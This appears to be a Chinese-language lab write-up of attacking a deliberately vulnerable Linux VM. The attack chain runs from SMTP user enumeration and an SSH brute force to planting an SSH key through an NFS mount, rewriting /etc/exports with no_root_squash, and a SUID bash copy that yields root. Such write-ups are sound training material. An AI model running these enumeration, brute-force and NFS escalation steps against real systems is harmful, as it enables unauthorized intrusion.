# 靶场搭建

下载下来直接打开就可以

# 渗透过程

# 信息初收集

# 端口开放

22/tcp    open  ssh
25/tcp    open  smtp
79/tcp    open  finger
110/tcp   open  pop3
111/tcp   open  rpcbind
143/tcp   open  imap
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
993/tcp   open  imaps
995/tcp   open  pop3s
2049/tcp  open  nfs
42015/tcp open  mountd  1-3 (RPC #100005)
48393/tcp open  nlockmgr 1-4 (RPC #100021)
51280/tcp open  mountd   1-3 (RPC #100005)
52109/tcp open  status   1 (RPC #100024)
60988/tcp open  mountd   1-3 (RPC #100005)

这么多端口我人都傻了,很多见都没见过,思考一下人生

# 系统信息

Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10

linux 系统的

这种我的思路只有爆破了啊,ssh 或者邮箱服务器爆破,ssh 爆破是常规操作,smtp 爆破需要去收集信息,搜一下脚本

# 邮箱账号枚举

Matching Modules
================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   0   auxiliary/server/capture/smtp                 .                normal  No     Authentication Capture: SMTP
   1   auxiliary/scanner/http/gavazzi_em_login_loot  .                normal  No     Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database
   2   auxiliary/client/smtp/emailer                 .                normal  No     Generic Emailer (SMTP)
   3   auxiliary/dos/windows/smtp/ms06_019_exchange  2004-11-12       normal  No     MS06-019 Exchange MODPROP Heap Overflow
   4   auxiliary/scanner/smtp/smtp_version           .                normal  No     SMTP Banner Grabber
   5   auxiliary/scanner/smtp/smtp_ntlm_domain       .                normal  No     SMTP NTLM Domain Extraction
   6   auxiliary/scanner/smtp/smtp_relay             .                normal  No     SMTP Open Relay Detection
   7   auxiliary/fuzzers/smtp/smtp_fuzzer            .                normal  No     SMTP Simple Fuzzer
   8   auxiliary/scanner/smtp/smtp_enum              .                normal  No     SMTP User Enumeration Utility
   9   auxiliary/dos/smtp/sendmail_prescan           2003-09-17       normal  No     Sendmail SMTP Address prescan Memory Corruption
   10  auxiliary/vsploit/pii/email_pii               .                normal  No     VSploit Email PII
   11  auxiliary/scanner/http/wp_easy_wp_smtp        2020-12-06       normal  No     WordPress Easy WP SMTP Password Reset
   12  auxiliary/gather/owncloud_phpinfo_reader      2023-11-21       normal  No     ownCloud Phpinfo Reader

有一个用户枚举的脚本可以试一下

枚举出以下账号

, backup, bin, daemon, games, gnats, irc, landscape, libuuid, list, lp, mail, man, messagebus, news, nobody, postfix, postmaster, proxy, sshd, sync, sys, syslog, user, uucp, whoopsie, www-data

还有一个工具叫做 smtp-user-enum ,也可以进行枚举,试一下

┌──(root㉿kali)-[~]
└─# smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.74.142 -m 100

速度比 metasploit 要快很多

VERY 模式经常被禁用,但是在这个靶机上没有,有三个模式,还有 RCPT (用来发送邮件),和 EXPN(获取用户组信息或展开别名,也可用来验证是否存在)

######## Scan started at Tue Apr  9 08:13:02 2024 #########
192.168.74.142: daemon exists
192.168.74.142: list exists
192.168.74.142: games exists
192.168.74.142: gnats exists
192.168.74.142: backup exists
192.168.74.142: bin exists
192.168.74.142: irc exists
192.168.74.142: mail exists
192.168.74.142: man exists
192.168.74.142: libuuid exists
192.168.74.142: landscape exists
192.168.74.142: news exists
192.168.74.142: messagebus exists
192.168.74.142: lp exists
192.168.74.142: nobody exists
192.168.74.142: postfix exists
192.168.74.142: postmaster exists
192.168.74.142: proxy exists
192.168.74.142: root exists
192.168.74.142: ROOT exists
192.168.74.142: sshd exists
192.168.74.142: sync exists
192.168.74.142: sys exists
192.168.74.142: syslog exists
192.168.74.142: uucp exists
192.168.74.142: user exists
192.168.74.142: whoopsie exists
192.168.74.142: www-data exists
######## Scan completed at Tue Apr  9 08:13:03 2024 #########

拿到了用户名,我们可以通过 finger 服务看到用户的 bash 是什么,从而确定哪些用户名是高价值的

┌──(root㉿kali)-[~]
└─# finger [email protected]
Login: root                             Name: root
Directory: /root                        Shell: /bin/bash
Never logged in.
No mail.
No Plan.
┌──(root㉿kali)-[~]
└─# finger [email protected]
Login: user                             Name: user
Directory: /home/user                   Shell: /bin/bash
Never logged in.
No mail.
No Plan.
Login: dovenull                         Name: Dovecot login user
Directory: /nonexistent                 Shell: /bin/false
Never logged in.
No mail.
No Plan.

可以看到 root 和 user 的 shell,确定是高价值账号,那么我们针对他们进行 ssh 爆破

爆破出 user 的密码: lemein

那么我们可以 ssh 登录上去了,尝试 sudo,没有权限

看一下 home 里面有一个 vulnix 的用户

# 利用挂载写入 ssh 公钥

因为有 NFS 服务,那么查看一下共享文件夹: showmount --exports 192.168.74.142

发现这个 /home/vulnix/* 是共享的,但是我们没有权限查看

那么我们可以在自己的机器上创建一个文件夹 ,挂在到这个文件夹下进行访问

直接访问还是没有权限的,那么我们创建一个具有同样 ID 的账号就可以进行访问,因为 linux 是根据 ID 进行判断的

mount 192.168.74.142:/home/vulnix /mnt/vulnix

生成 ssh 密钥写入 vulnix 用户目录中的 .ssh 文件夹下的 authorized_keys

这样就可以使用无密码使用 ssh 登入 vulnix 账号,但是我这里 kali 不知道抽什么风,已经写入了但还是找我要密码,所以我把私钥放入 windows 机器中进行 ssh 连接

windows 使用私钥进行登入时需要严格限制私钥权限,取消权限继承后,删除 除SYSTEM和administrator的权限 后才可以使用私钥进行登录ssh -i id_rsa [email protected]

这个时候就已经登录至 vulnix 账号中

# 提权

sudo -l 发现有一个不需要密码就能进行的命令: sudoedit /etc/exports

这个 exprots 文件就是 NFS 的配置文件,用来记录那个目录通过网络进行共享,既然我们能登录上去,那不如让我们直接把根目录都共享出来。只需要将这个文件修改成一下内容:

# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix    *(rw,no_root_squash)
/               *(rw,no_root_squash)

重启一下靶机,挂载根目录发现,哦吼所有的文件都能访问到了!

想要拿到彻底的 root 权限,可以将目标机器上的 bash 放到 vulnix 家目录中,修改权限为 4777 ,这样运行这个 bash 能够继承 root 权限

┌──(root㉿kali)-[~]
└─# cp /mnt/vulnix/bin/bash /mnt/vulnix/home/vulnix 
                                                                                                                         
┌──(root㉿kali)-[~]
└─# chmod 4777 /mnt/vulnix/home/vulnix/bash 
vulnix@vulnix:~$ ./bash -p
bash-4.2# whoami
root

其中的 -p 参数是以特权模式运行,这样才会有 root 权限

# 小结

ssh 写入公钥的时候,用 kali 连接怎么也连不上,直到现在我也不知道为什么,问题一定是出现在 kali 上了。对此感到十分困惑